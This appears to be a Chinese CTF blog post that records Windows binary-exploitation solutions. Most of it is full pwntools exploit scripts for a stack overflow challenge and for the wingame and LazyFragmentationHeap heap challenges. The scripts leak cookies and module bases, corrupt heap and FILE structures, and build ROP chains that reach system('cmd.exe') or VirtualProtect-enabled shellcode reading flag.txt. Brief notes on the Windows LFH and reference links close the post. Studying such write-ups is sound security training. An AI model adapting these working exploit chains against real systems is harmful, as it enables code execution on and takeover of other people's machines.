Windows_pwn_记录

StackOverflow

贴一个我蠢到家的exp 题目 StackOverflow.exe


# -*- coding: utf-8 -*-
# @Time    : 2021-05-19 16:28
# @Author  : H01K
# @Email   : 49335564@qq.com
# @File    : exp3.py
# @Software: PyCharm
from pwn import *
context.log_level = 'debug'
p = remote('127.0.0.1',33855)

p.recvuntil('input:')
p.send('a'*0x100)
p.recvuntil("buffer:\x0D\x0A")
p.recv(0x100)
cookie = u64(p.recv(6).ljust(8,'\x00'))
log.success('cookie:'+hex((cookie)))
# 下面泄露pie

# p.recvuntil('input:')
# p.send('a'*0x118)
# p.recvuntil("buffer:\x0D\x0A")
# p.recv(0x118)
# pie = u64(p.recv(6).ljust(8,'\x00')) - 0x2f4
# log.success('pie:'+hex(pie))

pie = 0x7ff6f40d0000
security_cookie_adr = pie + 0x3008
main_addr = pie + 0x1000


p.recvuntil('input:')
p.send('a'*0x110)
p.recvuntil("buffer:\x0D\x0A")
p.recv(0x110)
ebp_value = u64(p.recv(6).ljust(8,'\x00'))
log.success('ebp_value:'+hex(ebp_value))


payload_ret_main = 'a'*0x100 + p64(cookie) + p64(0) + p64(ebp_value) + p64(main_addr + 0x2EF)
p.recvuntil('input:')
p.send(payload_ret_main)
p.recvuntil("buffer:\x0D\x0A")

p.recvuntil('input:')
p.send('a'*0x158)
p.recvuntil("buffer:\x0D\x0A")
p.recv(0x158)
kernel32_base = u64(p.recv(6).ljust(8,'\x00')) - 0x17034
log.success('kernel32_base:'+hex(kernel32_base))

# kernel32_base = 0x7ffbf6950000
# log.success('kernel32_base:'+hex(kernel32_base))

# ucrtbase = kernel32_base - 0x2390000 # 这里不对 ucrtbase 不能先泄露出来
# log.success('ucrtbase:'+hex(ucrtbase))
# put_addr = ucrtbase+ 0x83D50
# log.success('put_addr:'+hex(put_addr))#00007FFEB9193D50

p.recvuntil('input:')
p.send('a'*0x188)
p.recvuntil("buffer:\x0D\x0A")
p.recv(0x188)
ntdll_base = u64(p.recv(6).ljust(8,'\x00')) - 0x52651
log.success('ntdll_base:'+hex(ntdll_base))
p_rcx = 0xA115E
p.recvuntil('input:')
p.send('a'*0x100 + p64(cookie) + p64(0) + p64(0) + p64(ntdll_base + p_rcx) + p64(security_cookie_adr) + p64(pie+0x107B)) # 利用puts 输出puts的地址 p64(0) 是循环ebx的值
p.recvuntil("buffer:\x0D\x0A")
p.recvline()
security_cookie_value = u64(p.recv(6).ljust(8,'\x00'))
log.success('security_cookie_value:'+hex(security_cookie_value))
old_rsp = cookie^ security_cookie_value
log.success('old_rsp:'+hex(old_rsp))
new_rsp =old_rsp +  0x150
log.success('new_rsp:'+hex(new_rsp))
new_security_cookie_value = new_rsp^security_cookie_value
log.success('new_security_cookie_value:'+hex(new_rsp^security_cookie_value))
pause()

p.send('a'*0x100 + p64(new_security_cookie_value) + p64(0) + p64(0) + p64(ntdll_base + p_rcx) + p64(pie+0x2180) + p64(pie+0x107B)) # 利用puts 输出puts的地址 p64(0) 是循环ebx的值
p.recvuntil("buffer:\x0D\x0A")
p.recvline()
put_addr = u64(p.recv(6).ljust(8,'\x00'))
log.success('put_addr:'+hex(put_addr))

new_rsp =new_rsp +  0x150
ucrt_base = put_addr - 0x83D50
system = ucrt_base + 0xAE32C
cmd_exe = ucrt_base + 0xD0CB0

new_security_cookie_value = new_rsp^security_cookie_value
log.success('new_security_cookie_value:'+hex(new_rsp^security_cookie_value))

p.send('a'*0x100 + p64(new_security_cookie_value) + p64(0) + p64(0) + p64(ntdll_base + p_rcx) + p64(cmd_exe) + p64(ntdll_base + 0x132c) + p64(0) + p64(0)+ p64(system) + p64(main_addr) )
p.recvuntil("buffer:\x0D\x0A")

p.interactive()

强网杯 线上赛 wingame

环境是 win7 因为 win10 有LFH 所以由干扰

# -*- coding: utf-8 -*-
# @Time    : 2021-05-24 19:40
# @Author  : H01K
# @Email   : 49335564@qq.com
# @File    : exp5.py
# @Software: PyCharm
from pwn import *
import sys

context.arch = 'i386'
# context.log_level = 'debug'

p = remote("192.168.15.130",33688)

s = lambda data: p.send(str(data))
sa = lambda delim, data: p.sendafter(str(delim), str(data))
sl = lambda data: p.sendline(str(data))
sla = lambda delim, data: p.sendlineafter(str(delim), str(data))
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline().strip()
ru = lambda delim, drop=True: p.recvuntil(delim, drop)
rg = lambda regex: p.recvregex(regex)
rp = lambda timeout=1: p.recvrepeat(timeout)
uu32 = lambda data: u32(data.ljust(4, '\x00')[:4])
uu64 = lambda data: u64(data.ljust(8, '\x00')[:8])
lg = lambda s, addr: p.success('\033[1;31;40m%20s--> 0x%x\033[0m' % (s, addr))
ls = lambda s, addr: p.success('\033[1;31;40m%20s--> %s\033[0m' % (s, addr))
ga = lambda job="": gdb.attach(p, job)
ia = lambda: p.interactive()
ru('Command: ')
sl('1')

def add(length,note):
    ru('Command: ')
    sl(1)
    ru('Note size:')
    sl(length)
    ru('Note:')
    sl(note)
def Delete(idx):
    ru('Command: ')
    sl(2)
    ru('Note index:')
    sl(idx)
    ru('Success!')
def Edit(idx,note):
    ru('Command: ')
    sl(3)
    ru('Note index:')
    sl(idx)
    ru('New note:')
    sl(note)
    ru('Success!')
def Encourage():
    ru('Command: ')
    sl(4)
    ru('Which encouragement do you want to get? [0/1]')
    sl(1)
    ru('Success!')
    # ru('Command: ')
    # sl(4)
    # ru('Which encouragement do you want to get? [0/1]')
    # sl(0)
    # ru('Success!')
for i in range(10):
    add(0x100,str(i)*0x100+"\n")

Delete(7) #获得一个位置 放置产生的多余堆块

Encourage()
for i in range(9):
    p.sendlineafter(": ","4")
    p.sendlineafter("\n","0")

Edit(9,"a"*0x108)
Edit(9,"a"*0x108+"\x40\x01\n")

# show

def show(idx):
    ru('Command: ')
    sl(5)
    # pause()
    ru('Which encouragement do you want to show? [0/1]')
    sl(1)
    ru('So, which one do you want to show:')
    sl(idx)
show(131)
pie = uu32("\0\0" + rl())
lg("pie",pie)
show(132)
t = rl()
show(133)
t2 = rl()
key = t + t2
ls("key",key.encode('hex'))
ru('Command: ')
sl(6)
sl(2)
ru("Secret:")
sl(key)

def show2(idx):
    ru('Command: ')
    sl(4)
    ru('Note index:')
    sl(idx)
    ru('Note:')
## 构造unlink
for i in range(8):
    add(0x20,str(i)*0x20)
chunk_addr = pie + 0x64D8
Delete(2)
Delete(4)
payload = p32(chunk_addr + 8*2 -4) + p32(chunk_addr + 8*2)
Edit(2,payload)
Delete(1)


payload = p32(chunk_addr + 8*3) + p32(0x100) + p32(pie + 0x40C4) + p32(0x100)
Edit(2,payload)

show2(3) #
ucrtbase_addr = uu32(rl()) - 0x30340  # ucrtbase._set_new_mode
lg('ucrtbase_addr',ucrtbase_addr)

# 正常操作是 泄露 > ntdll  ucrt  > peb > teb > stackbase  >  main_ret
# 我想找一个更加捷径的路子  没找到 我是🖍
system_addr = ucrtbase_addr + 0xB4E90
lg('system_addr',system_addr)

## 修改次数限制
payload = p32(pie + 0x6018) + p32(0x100)
Edit(2,payload)
payload = p32(0x0fffffff)*4
Edit(3,payload)

payload = p32(pie + 0x400C) + p32(0x100)
Edit(2,payload)
show2(3) #
ntdll_addr = uu32(rl()) - 0x2E026 # ntdll.RtlAllocateHeap
lg('ntdll_addr',ntdll_addr)

# dd ntdll!PebLdr
# peb 和 teb 差0x3000

payload = p32(ntdll_addr + 0x10424C) + p32(0x100)
Edit(2,payload)
show2(3) #
peb_addr = uu32(rl()) - 0x44 # 泄露 peb
lg('peb_addr',peb_addr)
teb_addr = peb_addr - 0x1000  # 太奇怪了这里
lg('teb_addr',teb_addr)

Edit(2, p32(teb_addr + 6))
show2(3)
StackBase = u32(('\x00\x00' + r(1)).ljust(4,'\x00'))
lg('StackBase',StackBase)

Edit(2,p32(teb_addr + 9))
show2(3)
StackLimit = u32(('\x00'+ r(2)).ljust(4,'\x00'))
lg('StackLimit',StackLimit)
lg('mainret_addr',pie + 0x239A)
for i in range(StackLimit + 0x2500 ,StackBase,4):  # 爆破返回地址
    Edit(2, p32(i))
    show2(3)
    # lg(hex(i), u32(rl().ljust(4, "\x00")[:4]))
    if (u32(rl().ljust(4, "\x00")[:4]) == (pie + 0x239A)):
        ret_stack_addr = i
        lg('stack_addr',i)
        break
Edit(3, p32(system_addr))
Edit(2, p32(ret_stack_addr + 8))
Edit(3, p32(StackLimit))
Edit(2, p32(StackLimit))
Edit(3, "cmd.exe\x00")
ru('Command:')
sl(5)
ia()

LazyFragmentationHeap

一定要这个版本才可以 高版本的LFH影响更大。。这个失败几率也很高

image-20210610222053105



# -*- coding: utf-8 -*-
# @Time    : 2021-05-26 9:17
# @Author  : H01K
# @Email   : 49335564@qq.com
# @File    : exp8.py
# @Software: PyCharm
from pwn import *
import winpwn
winpwn.context.arch='amd64'
import sys
import os

# context.arch = 'i386'
context.arch = 'amd64'
# context.log_level = 'debug'

p = None
# p = remote("127.0.0.1",33855)
p_name = 'LazyFragmentationHeap.exe'
p_pid = None
def get_pid():
    import psutil
    if p_pid ==None:
        pids = psutil.pids()
        for pid in pids:
          p = psutil.Process(pid)
          if p.name()==p_name:
              print("pid-%d,pname-%s" % (pid, p.name()))
              return pid
    else:
        return p_pid


s = lambda data: p.send(str(data))
sa = lambda delim, data: p.sendafter(str(delim), str(data))
sl = lambda data: p.sendline(str(data))
sla = lambda delim, data: p.sendlineafter(str(delim), str(data))
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline().strip()
ru = lambda delim, drop=True: p.recvuntil(delim, drop)
rg = lambda regex: p.recvregex(regex)
rp = lambda timeout=1: p.recvrepeat(timeout)
uu32 = lambda data: u32(data.ljust(4, '\x00')[:4])
uu64 = lambda data: u64(data.ljust(8, '\x00')[:8])
# lg = lambda s, addr: p.success('\033[1;31;40m%20s--> 0x%x\033[0m' % (s, addr))
# ls = lambda s, addr: p.success('\033[1;31;40m%20s--> %s\033[0m' % (s, addr))
ga = lambda job="": gdb.attach(p, job)
ia = lambda: p.interactive()


def lg(s, addr):
    print('\033[1;31;40m%20s--> 0x%x\033[0m' % (s, addr))
def ls(s, addr):
    print('\033[1;31;40m%20s--> %s\033[0m' % (s, addr))


def alloc(id,size):
    ru('Your choice:')
    sl(1)
    ru('Size:')
    sl(size)
    ru('ID:')
    sl(id)
    ru('Done !')
def edit(id,content):
    ru('Your choice:')
    sl(2)
    ru('ID:')
    sl(id)
    ru('Content:')
    s(content)
    ru('Done !')
def show(id):
    ru('Your choice:')
    sl(3)
    ru('ID:')
    sl(id)
    ru('Content: ')
def clean(id):
    ru('Your choice:')
    sl(4)
    ru('ID:')
    sl(id)
def lazy():
    ru('Your choice:')
    sl(5)
def exit():
    ru('Your choice:')
    sl(6)
def ctor_heap_head( size, flags, prev_size, remain_size):
    chksum =  ((size >> 4) & 0xff) ^ ((size >> 4) >> 8) ^ flags
    val = (size >> 4) | (flags << 16) | (chksum << 24) | (prev_size >> 4 << 32) | (remain_size << 56)
    return val
def read_file(id,size,context=None):
    ru('Your choice:')
    sl('2')
    ru('ID:')
    sl(id)
    ru('Size:')
    sl(size)
    if context!=None:
        s(context)
    ru('Done !')
encoding = None
def exp_heap():
    global p
    global encoding
    p = remote("192.168.15.144", 6677)


    alloc(9,0x600) # 申请大堆块 避免使用LFH
    #alloc(10,0x60) # 申请大堆块 避免使用LFH
    alloc(1,0x3F8) # 申请大堆块 避免使用LFH
    # 下面四个堆块相加是0x1000的重叠
    alloc(2,0x408)
    alloc(3,0x4E8)
    alloc(4,0x378)
    alloc(5,0x378)


    alloc(6,0x3F8)
    alloc(7,0x378)
    alloc(8,0x380) # 调整八个字节  这里去掉是为了腾出一个位置 来调整第五个堆块


    lazy()
    ru('Your choice:')
    sl('1')
    read_file(1,0x3F8)
    ru('Your choice:')
    sl('3')
    show(1)
    ru('a heap, use th')
    chunk_header = r(6)+'\x00\x08'
    lg('chunk_header',u64(chunk_header))
    encoding = ctor_heap_head(0x410, 0x1, 0x400, 0x8) ^ u64(chunk_header)  # 800004040010041
    lg('encoding',encoding)
    fake_head = ctor_heap_head(0x1000, 0x1, 0x400, 0x8) ^ encoding
    edit(1, "A" * 0x3F8 + p64(fake_head)[:6])
    clean(2) # 造成堆块重叠
    # 泄露堆地址
    alloc(11,0x408)
    lazy()
    for i in range(7):  # 填满上面伪造的那个堆块 所以会造成泄露heap 地址
        ru('Your choice:')
        sl('1')
    ru('Your choice:')
    sl('3')


    # alloc(11,0x468)
    # show(5)


    show(3)
    heap_addr = (u64(rl().ljust(8,"\x00")) >> 16) << 16
    lg("heap_addr",heap_addr)
    return heap_addr
while(True):


    try:
        heap_addr = exp_heap()
        if heap_addr!=0:
            break
        p.close()
    except:
        pass


# alloc(8,0x378)
# clean(8)






# windbgx.pid_attach(get_pid(),'dq filebuffer')  # 修改了windbg 添加了个功能
# 伪造文件结构
def ctor_fake_file(buf, fileno):  # 别人wp里面看来的  这个我还真不熟悉 emmm  伪造一下结构
    fake_file = ""
    fake_file += p64(0) + p64(buf)  # buffer
    fake_file += p32(0) + p32(0x2080)
    fake_file += p64(fileno)  # fileno = 0
    fake_file += p64(0x100) + p64(0)
    fake_file += p64(0xFFFFFFFFFFFFFFFF)
    fake_file += p64(0xFFFFFFFF)
    fake_file += p64(0x0) * 2
    fake_file += p64(0x0)
    fake_file += p64(0) # 为了对齐 同时覆盖掉LFH的头部
    return fake_file
payload = '\x00' * 0x50 #调整3号到LFH开始的位置
array_addr = 0xBEEFDAD0000
payload += ctor_fake_file(array_addr + 0x28 * 6 + 0x20, 0) * (13-1) #避免破坏下一个原始chunk的头部
edit(3,payload)
payload = "\x00" * 0x40 # 调整4号到LFH 的位置


payload += ctor_fake_file(array_addr + 0x28 * 6 + 0x20, 0) * 7
edit(4,payload) # dq /c5 00000bee`fdad0000 L40




# windbgx.pid_attach(get_pid(),'dq filebuffer')  # 修改了windbg 添加了个功能


# lazy()
# read_file(6,6,p64(heap_addr + 0x2678))  # 任意读写现在有了  ,p64(heap_addr + 0x2668)
# ru('Your choice:')
# sl('3')
# show(6)
# pie = uu64(rl()) - 0x1bf0
# lg("pie",pie)


pie = 0x7ff633470000


# lazy()
# read_file(6,6,p64(pie + 0x3198))  # 任意读写现在有了
# ru('Your choice:')
# sl('3')
# show(6)
# ucrtbase_addr = uu64(rl()) - 0x70630
# lg("ucrtbase_addr",ucrtbase_addr)
ucrtbase_addr = 0x7ff993ad0000
syste_addr = ucrtbase_addr + 0xAB5A0


# lazy()
# read_file(6,6,p64(pie + 0x3010))  # 任意读写现在有了
# ru('Your choice:')
# sl('3')
# show(6)
# ntdll_addr = uu64(rl()) - 0x73E70
# lg("ntdll_addr",ntdll_addr)


ntdll_addr = 0x00007ff996720000
KernelBase = 0x00007ff9937c0000


# p64(0xDDAABEEF1ACD)中存在”\x1A”字符,在windows中,这个字符备用表示字符串流的结尾,因此如果输入中存在这个字符,
# 那么它后面的字符都不会被接受,那我们上面构造的primitive就用不了了。 所以要去修改标志位 转换成二进制流模式
# 覆盖 ucrtbase!_pioinfo[0] + 0x38上 1 byte的flag标志置为0x09
lazy()
read_file(6,6,p64(heap_addr + 0x5408))  # 任意读写现在有了 # 5630
ru('Your choice:')
sl('3')
edit(6,chr(0x9))


alloc(12,0x3d0)
payload = 'a'*0x58 + p64(ctor_heap_head(0x380, 0x0, 0x380, 0x0) ^ encoding) + p64(array_addr + 0x28 * 5 + 0x18) + p64(array_addr + 0x28 * 5 + 0x20)
# edit(5,payload)
edit(12,payload)
clean(4)


payload = p64(0xbeefdad00e8)
payload += p64(0xddaabeef1acd) + p64(0x3f8) + p64(6) + p64(0xDDAABEEF1ACD) + p64(0xbeefdad00e0)
edit(5, payload)
payload = p64(0xddaabeef1acd) + p64(0xbeefdad00e8)
payload += p64(0xddaabeef1acd) + p64(0x3f8) + p64(6) + p64(0xddaabeef1acd ^ 0xFACEB00CA4DADDAA) + p64(0xbeefdad00e0)
edit(6, payload)
# 把文件的指针指向自身的数组  获取无限次的任意读写
def read_data(addr):
    payload = p64(addr)
    edit(5, payload)
    show(5)
    temp = rl()
    payload = p64(0xddaabeef1acd) + p64(0xbeefdad00e8)
    payload += p64(0xddaabeef1acd) + p64(0x3f8) + p64(6) + p64(0xddaabeef1acd ^ 0xFACEB00CA4DADDAA) + p64(0xbeefdad00e0)
    edit(6,payload)
    return temp


def write_data(addr,data):
    payload = p64(0xddaabeef1acd) + p64(addr)
    payload += p64(0xddaabeef1acd) + p64(0x3f8) + p64(6) + p64(0xddaabeef1acd ^ 0xFACEB00CA4DADDAA) + p64(0xbeefdad00e0)
    edit(6,payload)
    edit(5, data)
    payload = p64(0xddaabeef1acd) + p64(0xbeefdad00e8)
    payload += p64(0xddaabeef1acd) + p64(0x3f8) + p64(6) + p64(0xddaabeef1acd ^ 0xFACEB00CA4DADDAA) + p64(0xbeefdad00e0)
    edit(6,payload)
# ntdll.dll -> ntdll!PebLdr - 0x78 --> PEB --> TEB --> StackBase


# write_data(array_addr,p64(1))
lg("ntdll_addr + 0x1653C0 + 0x78",ntdll_addr + 0x1653C0 - 0x78)
# 读peb 地址
t = read_data(ntdll_addr + 0x1653C0 - 0x78)
PEB_addr = uu64(t)-0x80
lg("PEB_addr",PEB_addr)
TEB_addr = PEB_addr + 0x1000
lg("TEB_addr",TEB_addr)
t = read_data(TEB_addr+0xa)
StackBase = uu64("\x00\x00"+t)
lg("StackBase",StackBase)
t = read_data(TEB_addr+0x8*2+1)
StackLimit = uu64("\x00"+t)
lg("StackLimit",StackLimit)
start = StackLimit&0xffffff
end = StackBase&0xffffff


print start,end
for i in range(end-8,start,-8):
    tt = (StackLimit&0xffffffffff000000) + i
    data = read_data(tt)
    data = uu64(data[:6])
    if data == pie + 0x17C4:
        lg(hex(tt),data) #uu32(ru('\r\n')[:-2][:4])   # 7FF786D71B78
        break
lg("ret_addr",tt) # 据说是返回system 不行  一定要写shellcode


# 因为没有main函数不会retn 所以去找read函数的返回地址,但是泄露的时候read函数的地址不会再栈帧里面 所以去搜索泄露位置的printf函数的返回地址
cmd_addr = ucrtbase_addr + 0xCD650
pop_rbx = ntdll_addr +  0x234d
pop_rcx = ntdll_addr +  0x8f0fb
pop_si_di = ntdll_addr + 0x95c7  # 0x00000001800095c7: pop rsi; pop r12; pop rdi; pop rbp; ret;
# # payload = p64(pop_rcx) + p64(cmd_addr) + p64(pop_rbx) + p64(0) + p64(pop_si_di) + p64(0) + p64(0) + p64(0)+ p64(StackBase) + p64(syste_addr)
# jmp_rax = pie +  0x14e3
# pop_rax = ntdll_addr + 0x6123
# comd = pie + 0x5628
# payload = p64(pop_rcx) + p64(comd) + p64(pop_rax) +  p64(syste_addr)  + p64(jmp_rax) + p64(pie + 0x14e3)
# write_data(tt,payload)
# 目前目前想到的办法 是恢复堆栈就可以
pop_r9 = ntdll_addr + 0x8cab4 # 0x000000018008cab4: pop r9; pop r10; pop r11; ret;
sub_0x28 = ntdll_addr + 0xA1840
mov_r9_rax = KernelBase + 0x35b4d
pop_rax = ntdll_addr + 0x6123
lg("cmd_addr",cmd_addr)
lg("syste_addr",syste_addr)
read_ret_addr = pie + 0x16F4
# payload =p64(pop_rcx) + p64(cmd_addr) + p64(pop_r9) + p64(tt+0x10) + p64(0)+p64(0)+p64(sub_0x28)+p64(sub_0x28)+p64(sub_0x28)
# write_data(tt, p64(pop_rcx) + p64(cmd_addr) + p64(syste_addr)+p64(read_ret_addr))




# 第二种方式是使用rop 这种方式更加合理 这就是ORW啊!!

open_addr = ucrtbase_addr + 0xA2270
read_addr = ucrtbase_addr + 0x7B30
write_addr = ucrtbase_addr + 0x86A0
exit_addr = ucrtbase_addr + 0x6F8B0
filename = pie + 0x5400  # .data segment
buffer = pie + 0x5450  # .data segment
shellcode_addr = pie + 0x5500  # .data segment
# args: rcx, rdx, r8, r9, (stack)
shellcode = r'''
open_file:
     mov rdi, 0x%x  
     mov rcx, 0x%x  
     mov rdx, 0     
     call rdi      

read_file:
     mov rdi, 0x%x
     mov rcx, rax   
     mov rdx, 0x%x  
     mov r8, 0x30   
     call rdi      


write_file:
     mov rdi, 0x%x
     mov rcx, 1     
     mov rdx, 0x%x  
     mov r8, 0x30   
     call rdi      


exit:
     mov rdi, 0x%x
     mov rdx, 1    
     call rdi      
''' % (open_addr, filename, read_addr, buffer, write_addr, buffer, exit_addr)
write_data(shellcode_addr, winpwn.asm(shellcode))
write_data(filename, "./flag.txt")


Kernel32 = 0x00007FF996550000
data_segment = pie + 0x5000
shellcode_addr = data_segment + 0x500
VirtualProtect = Kernel32 + 0x1AFE0
pop_rcx_r8_r9_r10_r11 = ntdll_addr + 0x8cab1  # pop rcx ; pop r8 ; pop r9 ; pop r10 ; pop r11 ; ret
pop_rdx_r11 = ntdll_addr + 0x8cab7  # pop rdx ; pop r11 ; ret
lg("pop_rcx_r8_r9_r10_r11",pop_rcx_r8_r9_r10_r11)
# jmp shellcode
payload = p64(pop_rcx_r8_r9_r10_r11)
payload += p64(data_segment) + p64(0x40) + p64(data_segment + 0xA00) + p64(0) + p64(0)  # 0x40 is PAGE_EXECUTE_READWRITE
payload += p64(pop_rdx_r11)
payload += p64(0x1000) + p64(0)
payload += p64(VirtualProtect)
payload += p64(shellcode_addr)
## 最后一轮不太一样 写完以后就没有返回了!  不要重新覆盖了
data = p64(0xddaabeef1acd) + p64(tt)
data += p64(0xddaabeef1acd) + p64(0x3f8) + p64(6) + p64(0xddaabeef1acd ^ 0xFACEB00CA4DADDAA) + p64(0xbeefdad00e0)
edit(6, data)
ru('Your choice:')
sl(2)
ru('ID:')
sl(5)
ru('Content:')
s(payload)

ia()
#

LFH 分析

其实就是每个大小会有一块内存来进行分配 每次分配的位置是随机的,攻击LFH最重要的就是获取确定位置的堆块

贴几个pdf

http://illmatics.com/Understanding_the_LFH.pdf

https://media.blackhat.com/bh-us-12/Briefings/Valasek/BH_US_12_Valasek_Windows_8_Heap_Internals_Slides.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Yason-Windows-10-Segment-Heap-Internals.pdf

win10 h2中,之前的方法已经失效了 继续查查资料 看看有没有新的绕过方法

在Windows 中 LFH 在堆块大于0x400 的时候就不会启用LFH了 所以可以尝试申请大堆块,来避免激活LFH,进行堆布局。

具体参考

scwuaptx/LazyFragmentationHeap: WCTF 2019 challenge
https://github.com/scwuaptx/LazyFragmentationHeap


   转载规则


《Windows_pwn_记录》 Hook 采用 知识共享署名 4.0 国际许可协议 进行许可。
  目录